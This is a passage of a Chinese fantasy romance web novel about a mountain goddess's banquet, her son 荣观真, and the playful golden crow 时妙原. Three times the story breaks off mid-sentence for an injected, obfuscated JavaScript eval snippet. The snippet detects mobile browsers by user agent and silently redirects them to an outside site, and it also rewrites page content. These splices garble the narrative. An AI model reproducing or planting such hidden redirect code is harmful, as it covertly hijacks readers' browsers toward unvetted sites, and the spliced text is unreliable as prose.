这树长势极好,一看平时就没少得到照料。雨点将叶片打得低伏,他只一抬手,那枝条便仿佛有灵性般垂到了他的耳边。 “好久不见呀。”他轻声道,“现在已经长得这么大啦。” 他将手贴上树干,恍然间,他仿佛听见了很久很久以前,在香界峰顶上发生的一段对话。 “你居然没吃我送你的杏子吗?” “为什么呀,阿真?” “你是不喜欢,还是舍不得就这么吃了呀,嗯?” “看看我,看看我,别光顾着浇你那破树啦!” “你到底理不理我?你再不搭理我,我可要强吻你了啊我跟你说!” “别动手动脚的!”荣观真啪地打掉了时妙原的爪子。 三千年前,香界峰上。 今日是五月初七,蕴轮谷自昨夜起便热闹非凡。各路山神河仙从四方赶来齐聚一堂,他们放下了手头的要事来到空相山,就只为参赴这三百年才举办一次的盛事:司山海宴。 说到司山海宴,它的来头可非同一般,其主办者乃是荣闻音,空相山说一不二的主神。空相山横亘万里不绝,山脊所过之处无一不受她触达,山中花草精怪无一不为她照拂,东阳江自无果湖中始发,江水滚滚向前一路归海,它所灌溉的沃土也全都归她掌辖。 晨间卯时三刻,湖心岛上已是热闹非凡,而环岛的山峰间依旧静谧如常。觅魔崖边山风呼啸,荣观真今天穿了身束腰的灰色窄袖短袍。他把头发高高地扎了起来,这让他看着既利索,又显得十分干练。 眼下,荣观真正在为菩提树浇水,他养的小马驹在不远处欢快地吃草,而在他身边,则有个不安分的男人忙着上上下下左左右右地骚扰他和他的小树。 “阿真,阿真,你别不理我呀——你看看我嘛,这才几百年不见,你就不认识我啦?”时妙原扒在荣观真身上嗲了吧唧地问道,“好弟弟,你不会真的这么无情吧?你可别忘了,你小时候我还哄你睡过觉呢!” 荣观真放下水桶,不耐烦地对时妙原皱起了眉:“你到底要在我这儿赖多久?” “你在这儿待多久,我就要赖多久!”时妙原嬉皮笑脸地说,“我喜欢你这山,喜欢你这树,哦当然我也喜欢你!你不许赶我走,我可是你娘专门请的客人!” “你说你是我娘请你来的,那你倒是去跟她讲话啊!”荣观真气呼呼地甩起了水瓢,“你难道就没有自己的事情要做吗?你为什么非得缠着我啊!你不去找同龄人聊天,难道是因为你没朋友吗?” “谁说的?我可受欢迎了!”时妙原不服气地嚷嚷道,“你小子别不识抬举,我可是因为对你感兴趣才会来找你的!” “谁要你感兴趣了?快走开!一大把年纪了还和小孩凑在一起,你也不嫌害臊!” “我有什么好害臊的?我行得正坐得直!倒是你啊真真,你为什么不吃我送你的杏子?那可是我辛辛苦苦为你采来的!” “敢这么叫我,你家里人是都不想活了是吗?!”荣观真气得一脚将水桶踢出了好几米远,“不许用叠词喊我!也不准叫我阿真!” “好厉害啊真宝,你怎么知道我家兄弟姐妹几乎都死光光啦!” “你!!!” 荣观真自小脾气爆,性子烈,这一点在神仙中间可谓是众所周知。他抄起木瓢作势要打,未曾想时妙原反将一军,以迅雷不及掩耳之势攥住了他的双手。 “你干嘛!”荣观真发出了仿佛贞洁受辱一般的惨叫。 “你别害怕,我就只是想要个说法而已嘛。”时妙原凑到他眼前,眨巴着眼睛问道,“你知道吗?你妈妈当初跟我说这事儿的时候我可难受坏了。她说啊你拿了杏子以后就一直揣兜里,又不吃,又不扔,都放烂了也不肯撇下。你为什么会这么忌惮我呢,你是害怕我给你下毒吗?你担心我残害你这空相山的花花草草?要这样的话你可就太伤我心了真真,我跟你说,我可是全天下最善良最纯洁无瑕的小鸟!” “谁管你伤不伤心,我就是不喜欢吃杏子而已!”荣观真咬牙切齿地反驳道,“我讨厌杏子,也讨厌鸟,在这么多东西中间我最讨厌的就是你!你赶紧给我滚!我一秒钟都不想再看见你了!” 时妙原愣住了。 一阵山风吹来,将他身上的金饰吹得叮当作响。 和荣观真比起来,时妙原今天打扮得要上心很多。他身着纯黑绣金羽纹长袍,腰佩彩丝纹绫玲珑香囊,一头黑亮的长发被精心编成长辫,其间点缀有不下数十种头钗配饰与流苏头须。那里头有金银,有琥珀,有翡翠宝钻,也有和质地上乘的珍珠与珊瑚。 这鸟素来喜爱贵重之物,寻常人若如此堆叠肯定免不了俗气,可时妙原把这么穿就只有一个词能形容:潇洒不凡。 他的双眸血红,眉目英气十足,嘴角还一直噙着笑,这让他看起来既亲和,又讨喜,还有一点点点点的邪恶。可他不笑的时候,整个人看起来就十分落寞了。说来也怪,时妙原只是稍撇了撇嘴,荣观真就感到自己的心脏莫名其妙抽痛了两下。 不仅如此,时妙原的眼睛里还迅速蒙上了一层水汽:“阿真,你……你怎么……” “我?我怎么了,我那什么……”荣观真僵硬地张了张嘴巴,“不是,你别误会,我,我刚才是想说……其实我不是这个意……” “你怎么会这么可爱啊!!!” “哈啊?!” 时妙原一跃而起,把荣观真按进怀里放肆地揉捏了起来:“你真的好可爱啊!你刚才发脾气的样子看得我心都化了!你说你讨厌我?口是心非的家伙,我看得出来,你可喜欢我了!喜欢就直说嘛,这有什么不好承认的呢?你看我,我就比你坦诚多了!” “时——妙——原——!” “哎哟,这是不是你第一次喊我名字?搞得人家还怪害羞的嘿嘿。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142661|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你给我……你给我滚开!不许抱我!也,也不准摸我的腰!!” “别嘛,来抱一抱,抱一抱嘛!你的脸好红!亲一口要不要?” “谁要和你亲嘴啊!!!” 荣观真一把将时妙原推了开来。时妙原踉跄几步,立马如行云流水般地挤出了两滴眼泪:“不给亲就不给亲,你凶我干什么?我不要跟你好了!小马驹,我们走!” 白马可能做梦都没想到战火会波及到自己身上。它本来吃草吃得好好的,猝不及防背上就多了个鸟人。时妙原上马就跑,荣观真简直不敢相信自己的眼睛:“时妙原!你给我站住!不是,这世上怎么会有你这么不要脸的人啊?你那么大个人骑这么小的马,你别虐待动物!!!” “再见了真真宝贝,你的座驾归我咯!” 山谷间回荡起了一阵九曲回肠般的狞笑,照理说鸟类的发声器官应该是无论如何都没法造出这种死动静的。时妙原策马狂奔向一处断崖,有那么一瞬间荣观真甚至以为他就要连人带马跳下去了——但就在离悬崖还有两三米的地方,时妙原突然勒住了缰绳。 吁——! 白马紧急收蹄,时妙原惊慌下马,荣观真还在发愣,就见他一溜小跑蹿到自己身边,像只淋了雨的小鸡似的躲到了他的身后。 “借我挡挡借我挡挡!”时妙原扯着嗓子尖叫道,“我债主来了!” “什么债主,你欠谁钱了吗?你别扯我衣服!这是我妈找人给我新做的!” 他们还在拉扯,下一秒,一道沉静的女声在他们耳边幽幽回响了起来: “我说怎么到哪都找不着人,原来是在这儿卿卿我我呢。” 话音落下瞬间,一阵急骤的飞沙自菩提树间升起,绕过荣观真将时妙原吹翻到了地上。 “哎哟!”时妙原摔了个人仰鸟翻。 “你没事吧?”荣观真话一出口,恨不得扇自己两巴掌:他疯了?他关心这混账东西干嘛! 飞沙撂倒时妙原后便回了来路。尘埃忽聚忽离,在菩提树冠下聚成了一团小型的龙卷。在这样的风力下,荣观真连站稳都十分困难,但他还是下意识挡在时妙原身前,将这不知是真怕还是在装蒜的坏鸟勉强护在了身下。 时妙原没想到自己居然能有这样好的待遇,他惊喜地抬起头来,一句“阿真”还没来得及出口,就只见一人拨开漫天飞沙,从那肆乱的尘岚中优哉游哉地走了出来。 狂风忽止。 来的是个极干练的女人。 她的身形瘦削,长相寡淡,一身朴素的青灰色僧袍,再加上还剃了度,不知道的见了,恐怕会以为她是哪位不出世的比丘尼。 不过这种情况当然从来没发生过。至少在空相山内,没有人会不知道她姓甚名谁。 风停下后,觅魔崖上的一切便都陷入了沉寂。白马踢踢踏踏地向她走来,她先是顺了顺马儿的背鬃,然后,她背起双手,向这头抱作一团的两人踱了过来。 时妙原还没来得及开口,那女人便弯下腰,冲他露出了一个阴森且戏谑的微笑: “好你个时妙原啊,我专程请你到我家来做客,好吃好喝招待着你,结果你倒是挺有本事,跑这欺负我儿子来了是吧!” 20. 莫忘莫惘(二) 荣观真当即把时妙原推到了一边。 他一骨碌爬起来,像看见救命稻草似地喊道:“妈妈!” 时妙原也反应过来,赶紧堆着笑凑了上去。 “哎哟,闻音呀——我当是谁来了呢,原来是咱山神奶奶莅临觅魔崖指导工作了呀?你怎么跑到这儿来啦,好久不见你又威风了不少啊!你这发型真好看!你手上这串玛瑙哪来的?看着成色不错,让我瞧……哎哎哎哎嗷嗷嗷嗷啊痛!痛!痛呀荣奶奶!” 荣闻音松开时妙原的后颈皮,把这吱哇乱叫的鸟人扔到了地上。然后她快步走到荣观真身边,上下左右地仔细打量了起来。确认亲儿并无大碍之后,她才稍稍松了口气:“阿真,马上就要开宴了,你不到大涣寺去,跑这里来和时妙原鬼混什么呢?” “我没有跟他鬼混!”荣观真瞬间涨红了脸,“我来这儿……我来这儿是因为,我是来给树浇水的!” 水桶歪七扭八地倒在他脚边,这借口听上去没有任说服力。荣闻音最了解自己亲儿子的脾气,她叹了口气,有些无奈地问:“你是不是又不想见人了?” “我……” “妈妈不是跟你说过吗?你不能总这么独来独往,你得出去多和人见面,多认识认识朋友,多找点恋爱谈谈,遇见喜欢的牵牵手亲亲小嘴也是可以的呀!你一直在山里呆着怎么能找到对象,你是不是一直把我的话当耳旁风呢?来,手伸出来。” “哎哟,妈妈要打阿真宝贝手心儿啦?”时妙原从地上爬起来,灰头土脸地看起了热闹,“闻音呀,不是我说你,虽然我没养过小孩,但是这教育得讲究根本,你不能总是用暴力,你得……嗯?” 荣闻音往荣观真手上放了个长长的布包。 “打开看看。”她示意道。 荣观真狐疑地掀开包裹,里面的东西才露出一个角,他便震惊地瞪大了眼睛:“娘!你这是……” “三度厄,送你了。” 荣闻音将三度厄从布包中抽出,放到了荣观真手里。 “以后这就是你的佩剑,你将它随身带着,这样一来不论是出门在外,还是迎来送往的,心里也能有点底气。” “三度厄?真的假的,是那个只能用三次,而且砍谁谁死,魂飞魄散连阎王爷也不愿意收的三度厄吗!”时妙原大惊小怪地鬼嚎了起来,“闻音,这不是你的佩剑吗!哇,好重的杀气!一二三……这么好看的珠子居然有三颗!这个我喜欢,我也想要一个!闻音,咱俩老朋友了,你也送我一把呗?” 荣闻音瞥了他一眼:“你也想要?那得先当我儿子。” “也不是不行?妈——” “哪凉快哪呆着去!” 这两人正吵嚷着,荣观真默默将三度厄拔出了剑鞘。 剑身一出,一股无形的炎气登时弥散了开来。荣观真一个没注意差点踉跄一跤,但他很快稳住心神,将三度厄紧紧地握在了手中。 这是一把好剑。它光看外表便锋利无比,其中蕴含的神力亦更是不可估量。传说中当年荣闻音因封印远古恶兽得天神封赏,这把剑便是其中最宝贵的一件礼物。 多年来它一直是空相山神的象征,就连黄口小儿都知道三度厄对于荣闻音来说意味着什么,荣观真当然也不例外。 他抬起头疑惑地望向了母亲。 荣闻音见状,乐呵呵地拍了拍他的肩膀:“小心点,我保管了那么久,你别一下子就给我摔坏了。今天正好是你的生日,我最近都在忙着筹备司山海宴,没来得及给你准备什么东西,你就当这是我送你的礼物吧。” “谢谢娘……但您为什么要给我这个呢?”荣观真小心翼翼地将三度厄收回了鞘中,“这太贵重了,我感觉我现在还担待不起。而且我平时也不用剑,它在我手里根本派不上用场。” “你可以用它来保护你自己。”荣闻音说。 “这……我觉得我还没脆弱到那个地步。” “那就保护你觉得重要的东西。” “重要的东西?”荣观真的表情更茫然了,“对我来说,你和承光就是我最关心的人了。可是妈妈,你是山神,你不需要我来保护,承光有朝一日必然会接管东阳江,他肯定也有保全自己的办法。我平时最多也就是在香界峰上种种花,你们……你何时会有要用得上我的地方呢?” “还有我呀真真,还有我!”时妙原跃跃欲试地举起了手,“重要的东西那不就是我吗?保护我保护我!我可是这世上唯二的金乌了,我现在可柔弱了我跟你说!” 荣闻音和荣观真不约而同地对他翻了个白眼。 “别理这人,老不正经的,活几万年了还当自己是棵嫩葱。”荣闻音牵着荣观真的手就往山下走,“先别想那么多,宴席快开始了,我带你去吃点东西。正好,你也可以认识认识这五湖四海的神仙。” 荣观真顿在了原地。 “我可以不去吗?”他迟疑地问道,“我有点不太喜欢那些客人。” “不喜欢可以,见还是要见的。提前接触一下,以后才方便接替我的位置。” “可是我……” “不许说什么不想当山神,只想每天浇花栽树闭关修炼之类的话。走吧,承光还在等着我们呢。时妙原!你等下记得按时过来,我交代给你的事,你应该都没忘吧?”荣闻音扭头问道。 “妥妥的!”时妙原把胸脯拍得啪啪直响,“交到我身上你就放心吧!我一定会搞砸……不是,我一定会让荣奶奶满意的!” 荣闻音带着荣观真有说有笑地下了山,他俩都走出了好一段距离,时妙原还留在原地冲他们挥手:“我已经都准备好了,你就等着瞧吧!今天让你们见识见识太阳神鸟的实力——闻音,真真,咱们等会儿见哈——” 时妙原实在太吵,他嘴里那些不着四六的话听得荣观真火直往脑门子上冒。他愤愤回过头去,还没来得及开口痛骂,很不幸凑巧接住了时妙原冲他送出的飞吻。 司山海宴。 这名字听着虽大气,但非要追究起来的话,其实是存在一定问题的。 首先,荣闻音所请的神仙并未囊括天下全部自然神灵。他们当中有许多都隐匿在山林中,既不出来见人,也不愿和同行们打点关系。 其次,司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142662|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山海宴中其实并没有海神参与。这背后的原因十分简单:山河虽为一体,但与汪洋终究有一段距离。不过,这其实并不影响山河川海之间彼此互通神识。 正所谓:海不相见,山海永相识。江水连你我,明月照古今。这是荣闻音平时最爱说的一句话,这也是为什么,她要在宴会名称中加入并不存在的“海”字。 抛开上述因素,司山海宴的规模还是十分可观的。今日赴约的有东越山、克喀明珠山等上千座山脉峰岭之神,亦有木澜江仙云河神等大小数百位江洛湖仙。小小的大涣寺当然容不下这么些大拿,所以,荣闻音干脆便将设宴的地点定在了无果湖上。 湖水澄如明镜,数百千计绕岛陈列的莲叶充当了神仙们的坐席,荣闻音行走期间,时不时便与众神谈笑风生。当然,凡人是看不见这景象的,他们只会觉得今天风大,吹得这大湖波光潋滟,煞是好看。 荣闻音忙着招呼客人,荣观真在湖面上找了好一会儿,才寻得一个小小的影子。 “承光!”他赶忙跑了过去。 “哥,哥!” 荣承光还小,他连话都说不利索,好歹倒是认得妈妈和哥哥。他一看到荣观真来了便伸手要抱:“哥,哥!抱,抱抱!” 荣观真盘腿坐上莲叶,把荣承光抱到了自己身上。他隔壁坐的是个眼睛大大的女孩,她一看见荣观真便默默爬去另一片莲叶,冷静又慌张地钻进了一个文质彬彬的男子怀里。 那男人笑道:“这是我女儿,今年才一百多岁,她比较认生,不好意思啊。” 荣观真冲他们摆了摆手。 但凡祭山祀海,大多离不了五牲蔬果、佳肴陈酿,荣闻音的宴席当然也不会亏待了他们。眼下还没正式开席,菩提果们便迈着小短腿在莲叶间传起了蔬果。神仙们时不时高谈阔论,议论声断断续续传进荣观真的耳朵里,有一些倒很是平常,另一些则让他眉头紧锁。 “真是气派呀。” “这么高的山,这么大的湖……也不知道得有多少好东西。” “就这还只是一小部分呢!你不知道吗?这空相山的面积之广,你我两个的地盘加起来,再多算个四五倍,也不一定抵得上荣奶奶半只手管的地方那么大!” “不得了,这可太威风了。” “可不呢,瞧,那边那位就是荣闻音了。听说她信徒可多,刚才为她塑了座金身像!” “金身像!纯黄金造的吗?那得多少钱啊……” “谁知道那些钱是怎么来的呢。” 一道刺耳的声音打断了对谈,说话的是净界山神穆元沣。他身边坐着几位湖仙,其中和他关系最好的是主掌仙云河的洪延城,还有坐镇木澜江的沙百泉。 他发现自个成了关注焦点,颇有些得意地补充道:“我听说空相山一带的燔祭祀礼极为繁复,每年山神生辰一次,逢四绝日、四离日又各一次。要是有雷暴冰雹,天灾洪水什么的,那阵仗可就更不一般了。这么密集的上供,还有那所谓的金像……也得亏空相山东西多、地方大,经得住折腾!要换咱们呐,指不定哪天就被人请方士给除掉咯!” 21. 莫忘莫惘(三) “雷暴冰雹,天灾洪水?哎呀,这不就是咱们平时常干的事儿吗!”沙百泉惊叹道,“照这么说来,荣奶奶可真是手段了得,我们随便降灾就只能挨骂挨打,她老人家大手一挥,这金银财宝就全自动送上来了!” “哎,空相山地大物博,荣奶奶横一点那也是可以理解的呀!” “哈哈哈哈哈!” 除了那对父女以外,周围的神仙全都笑作了一团。有人见荣观真不说话,又看他脸生,便好奇地问:“小兄弟,你是哪座山来的,又或者哪条河里管事儿的呢?之前怎么从没见过你。” “我住香界峰。”荣观真答道。 “香界峰?没听说过!”穆元沣惊讶地四处问道,“哎,洪上仙,你久居仙云河,可听说过香界峰没有?我怎么觉得那么耳生呢,这不会是哪家普通老百姓垒起来埋祖宗的小山包吧?” “穆兄,你这就言重了啊!”洪延城乐不可支地说,“我看这小兄弟气度不凡,指不定管的是从前哪位帝王将相坟上的封土呢!” 荣观真并不搭话,于是周围人便笑得更放肆了。还是那位父亲咳嗽两声,他们才陆陆续续转移了话题。 他关切地问:“你没事吧?别听他们瞎说,他们就是嘴碎而已。你是观真对不对?我听闻音提起过你。” 荣观真见他的气质温吞,文质彬彬,给人的感觉既不像寻常神仙那般高傲,同时又有一种若即若离的亲近,不由得对他产生了好奇:“谢谢,但请问您是……” 对方一拍脑袋道:“哦!差点忘了介绍了,我叫施太浩,目前姑且算是这个……东越山的主神。旁边这位是我女儿,她叫施浴霞。小霞,跟哥哥打声招呼呀。” 施浴霞一下子扑进了爸爸怀里。 “哎!你这小孩……”施太浩无奈地摸了摸女儿的脑袋,“不好意思啊观真,我家姑娘比较容易害羞。” “没事,其实我……” “众位上仙,宴席马上就要开始了。” 不远处传来荣闻音的笑声,荣观真与施太浩循声望去,正好见她弯腰拈起了半支盛放的铁线莲。 莲上水珠莹润,映得她的眉眼也难得多了几分潋滟,她刚换了身金丝蓝罗袍,这恰好是今时今日蕴轮谷上方天空的色彩。 “欢迎各位来到空相山。” 荣闻音微微欠身,湖上的花叶也次第低下了头颅。她爽朗地笑道:“空相山承蒙苍天感召,赐下花草飞鸟、走兽湖鱼,又得诸同仁助益,这才有今日之盛景。闻音常得众位关照,故特设宴于此飨待众仙,一来为表感激之情,二来呢,也是想和大家叙一叙旧。” 众仙纷纷点头赞叹,唯有穆元沣冷哼了一声:“装模作样。” 荣闻音稍顿了几秒,随后接着说道:“各位既赏脸来我山中做客,闻音也特意备了些美酒佳酿供各位享用,若有招待不周之处,也请随意指出的好,还请大家千万、千万不要见外。” “没有不周的地方!”一位喝得东倒西歪的壮汉挥拳道,“这酒好,山好,什么都好!我……嗝,我可爱死空相山了!” “那自然是好的!”荣闻音哈哈大笑,她一挥手便洒下了数枚菩提果,“话不多说,时辰已到,开宴吧!” 当当当当,随着一阵欢快的鼓乐丝竹之声,菩提果们举着盘子一溜烟涌向了各处。那盘中有美酒蔬果,有鸡鸭豚牛,有鲜香可口的鱼鲜,也有刚出炉的莲子羹与荷叶粥。 主人家既已发话,做客的当然也没有再推辞的道理,一时间,推杯换盏大快朵颐之声不绝于耳,荣闻音举着酒壶穿行于宾客之间,经过荣观真身边时,她对他轻轻点了点头。 穆元沣在一旁跃跃欲试想要搭话,而她却径直走向了施太浩父女。随后她弯下腰,将那朵开得正盛的莲花塞进了施浴霞手里。 “拿着,送你的。”荣闻音笑眯眯地说道,“你就是小霞,对吧?” 施浴霞怯怯地攥紧了花枝。这回她没有再躲到父亲怀里,而是一直目不转睛地盯着荣闻音看。施太浩见状笑道:“她好像很喜欢你。” “常有的事。” 荣闻音起身理了理袖袍,一颗菩提果迈着小短腿跑到她身边,又蹦又跳地举起了手中的长卷。 她展开卷轴,山海众仙的名录哗一下在她眼前铺展了开来。 “客人都到齐了是吧?让我看看啊……发了请柬的是都来了,加上家人亲戚……不错,没有人爽约。阿朴,你且吩咐下去,吃的喝的自然是要管饱,若是有哪位客人想带些山野珍货回去,也一定不能有所怠慢。嗯?怎么回事,这家伙怎么还没来?” 荣闻音皱起了眉头:“他怎么又迟到了。” 荣观真心思一动,荣闻音虽没直说迟到的是谁,但他脑海中已经浮现出了一个人的名字。 他立刻站起来问:“是谁没来?要不要我去看看。” “不……” 荣闻音的“不”字还没说完,天地间忽地传来了一声尖锐的啸鸣。 这声音像是利剑,在其乐融融的饮宴氛围中撕开了一道裂缝。 众仙不约而同地张望了起来,那声源毫无疑问并不在身边,它发自苍穹之上,似是始于某座突兀的山峰顶端。 远方的山脉混沌,天际线与香界峰的侧影几乎融为了一体。 太阳低悬在半山腰间,落日的余晖照亮了山上层叠的树冠。它像是菩萨的光相,却又呈现着与慈悲毫不相干的血色。山间传来细碎的嗡鸣,乍一听像是有无数人在奔跑,但很快,那就变成了震耳欲聋的轰鸣。 湖水涌起波涛,莲叶左摇右晃,穆元沣正要喝酒,一不小心竟洒了自己一身。他当即怒不可遏道:“是谁在搞鬼!” “地震了吗?”施太浩抱紧了施浴霞。 “应该不是地震!”荣观真赶忙把荣承光揽到了身边,“这感觉,更像是……” 他话音未落,无数飞鸟铺天盖地地从香界峰后涌了出来。 “这,这是……!” “哇,好多鸟!” “这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142663|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么阵仗?有哪家山神是和鸟打交道的吗!” 荣承光抚掌大笑:“鹅!好多会飞的大鹅!” 众仙纷纷哗然,荣观真努力眯起了眼睛:他发现那并非是普通的鸟儿,而是许多扑簌作响的金箔。 灿金纷飞乱舞,它们像阴云、像地毯,像神无意间织就的彩云般迅速盘集到了无果湖上空。湖上飞鸟成环,山间的动物们也不约而同地活动了起来,它们争先恐后向香界峰上涌去,方才那地震一样的动静,大概就是这么来的。 这场躁动持续了约三四分钟,紧接着,一声清脆的响指过后,天色蓦地放暗了下来。 天黑了?荣观真错愕地想。 太阳还没到该落山的时候,但不远处的天空中,出现了一个突兀的黑点。 它起初只有指甲盖大小,紧接着它的边界开始快速向外蔓延。 它像是一滴坠入了清水的墨汁,用夜色濯染了本来澄澈的天空。 夜幕忽而落下,随之而来的还有阵阵悠长的啸鸣。那低吼原始而又古老,山中花草树木无不汗毛倒竖,就连湖中的神仙们也不由得起了一身鸡皮疙瘩。 啸鸣声的源头在空中稍稍一顿,如流星般向无果湖冲了过来。 它的长尾划破云锋,在身后拖出了数条流光溢彩的炫光。它的翼展宽长,那绚丽的尾羽上似是有烈焰在燃烧。自它身体里延出的焰色染红了天空,一位采药郎恰好走到半山腰,他极目远眺而去,不禁感慨道: “好美的夕阳。” 夕阳轻巧地落上湖面,于是神仙们看清了它的模样:它首先是雾,但很快便失去了边界,它优哉游哉地凝聚成实体,那是个长发漆黑、眸似烈火,长相又俊也邪的男人。 湖上飞鸟化作流烟,纷纷扬扬地扑融进了他同样漆黑的袖袍之中。水面上浮起荧荧的火光,那像是星辰,又像多情的日月,它们害羞地爬上他的肩头,似乎也铁了心要做那太阳的陪衬。 “我来了我来了!哎……我不会迟到了吧?” 那人踏步向前,他赤裸着双足,拖沓着长袍,那长长的衣摆翎羽般它掠起了层层鎏金的水痕。他身上滴水不沾,珠玉叮当作响,路过荣观真身边的时候,从他辫上拖下的某段流苏轻轻扫过了他的脸颊。 也不知是无心还是有意,那柳絮般轻盈的发丝足足在荣观真耳边驻留了整五秒有余。 “你……” 荣观真已然失语。 四下鸦雀无声,那人却自在放松得紧。他先是环视一周,再对荣闻音作了一揖,随后他从袖中抽出一样东西,恭恭敬敬地向她敬呈了上去: “义弟赴宴来迟,还望姐姐宽量海涵。姐姐闻音救我于水火之中,其恩其德时某永世难忘。恰逢司山海宴诸神欢聚,妙原特在此献金羽一枚。我今祝姐姐神力日升,祝山中时和年丰,祝河海生灵不息,祝天地亘古长明——祝一切无边众生,终得大解脱圆满。” 言罢,时妙原高高将金羽举起,直令那璀璨的流光彻底映亮了夜空。 22. 莫忘莫惘(四) 湖心沉寂了足有半分多钟,直到有人大叫一声打破了宁静:“是时妙原!” “时妙原,居然是时妙原来了!” “他怎么会在这里,他不是从来都不出现的吗?” “我的妈呀,这还是我第一次见到活的金乌!” “没想到荣闻音还有这种手段……他们是怎么认识的?他刚才喊她姐姐,你们听到了没有!” “他手里拿的那是金羽吗?” “金羽……就是传说中可活死人、修灵脉、助登天长生的金羽?!” 议论声如潮水般涌来,其中有有震惊,有好奇,有兴奋,更多的是—— 渴望。 荣闻音接过金羽,随意把玩几下,将它收进了袖中。 “各位请继续享用吧!”她冲宾客们喊道。 菩提果们纷纷掏出乐器开始演奏,在一通咿咿呀呀叮呤咣啷前不着曲后不着调的吹拉弹唱之声中,时妙原搓着手满脸谄媚地凑到了荣闻音跟前。 “好姐姐,我刚才表现得怎么样?”他挤眉弄眼地问,“没给您丢人吧?” 荣闻音瞥了他一眼,从袖中摸出了一颗晶莹剔透的蓝纹玛瑙。 “哎哟!新颜色!”时妙原立刻两眼放光,他正要伸手去拿,荣闻音故意把玛瑙高举过了头顶。 “还记得我交代给你的另一件事吗?”她意有所指地问道。 时妙原忙不迭点头:“记得,记得!你要我去照顾……” “对,你记得就好。这回干得不错,之后再接再厉。” 说着,荣闻音轻轻一抛,时妙原眼疾手快地接住玛瑙珠,捧着那新宝贝喜不自胜地把玩了起来:“谢谢荣奶奶!” “行了,边儿呆着去吧。” “得嘞!” 时妙原得意洋洋地走进了席间。他走到哪里,神仙们的视线便聚焦到哪里,在场几乎所有人的目光都锁在了他身上——除了一个小家伙以外。 施浴霞吭哧吭哧爬到爸爸肩上,朝荣闻音所在的方向伸长了脑袋。 施太浩问她:“你不看鸟吗?” 她摇了摇头:“鸟,不喜欢。” “哦,那你是喜欢别的?” “嗯……” 她嘴上应着父亲,视线就没荣闻音身上挪开过。 穆元沣紧张得直冒汗。 时妙原朝他走过来了,其余人的注意力也随之移动到了他这边。这是个千载难逢的好机会,穆元沣清清嗓子,他正准备上前搭话,却见时妙原方向一转,一屁股坐到了荣观真所在的莲叶上。 “不是,你什么意思?”荣观真瞪大了眼睛,“旁边不是还有空位吗?” “你这儿不是也有空位吗?”时妙原把珠子收好,大喇喇侧躺下来,一手支着脑袋,另一只手扒拉起了荣观真身前的果盘。 这片叶子虽大,但本来就已经有了荣家两兄弟,再加上一个光首饰就有半人重的时妙原,立马就变得摇摇欲坠了起来。 身边传来窃语声,有眼尖的认出了荣观真:“那是荣闻音的儿子吗?” “好像是。” “之前怎么没注意到他?” 穆元沣的表情很不自在,方才应和他的那几位神仙也都埋头喝起了闷酒。不远处欢笑不断,而他们这附近就只剩下了时妙原大啖水果的声音。 “唔,够甜!嗯……够大够饱满,不错,好吃好吃!”时妙原吃得十分投入,不一会儿就把荣观真面前的葡萄消耗了大半。直到荣观真不自在地清了清嗓子,他才摘下一颗晶莹剔透的葡萄递了过去。 “别给我,我不……” 荣观真话音未落,却见时妙原方向一转,竟是把葡萄送到了荣承光嘴边。 “来,乖乖,张嘴。啊——” “啊——” 荣承光也不管喂东西的是谁,他吃到甜的东西,眼睛立刻笑眯成了缝:“好甜甜!谢,谢谢哥哥!” “嘿嘿,喜欢那就多来点。橘子你要不要?” 时妙原不断往荣承光嘴里塞吃的,他还时不时捏捏他的脸蛋,这俩人互动得其乐融融,被晾在一边的荣观真就显得有些多余了。 他在原地杵了好久,觉得实在尴尬,便决定找点话题:“你……身上怎么又多了那么多首饰?” “嗯?” 时妙原低头一看,确实,距离他们上次见面其实还隔了不到半天,他的身上脖子上,头上辫子上就多了一大堆花里胡哨的宝石。 “演出专用服装啊,你不懂吗?”他说着又往荣承光嘴里塞了瓣橘子,“我刚才那样子闪亮登场,总不能穿着常服就来了吧?” “你管之前那个叫常服?”荣观真的世界观似乎遭到了冲击,“不是,就来吃个饭而已,你难不成还专门打扮了一通?” “是啊,你娘要我来撑场子,我要是搞得太寒酸了那不是给她丢人么。”时妙原说着,啪!地拍响了荣观真的大腿,“其实啊阿真弟弟,我每天出门在外的打扮都是完全不一样的哦。因为我人气很高,超级受欢迎,不论走到哪里都很都万众瞩目,有那么多人在看盯着我看,我总不能随便套个破布麻袋就出门了吧?你说是不是?” 荣观真沉默了一下,问:“你刚是不是把水擦我身上了?” “没有的事。”时妙原脸不红心不跳地把手收了回去。 “哥哥,哥……”荣承光爬到荣观真身前,对他颤颤巍巍地伸出了手,“哥,吃完了……都吃完了,要吃,要抱抱……” “这么快就都吃完了?”荣观真赶忙起身,“你等等,我去再给你要点。” 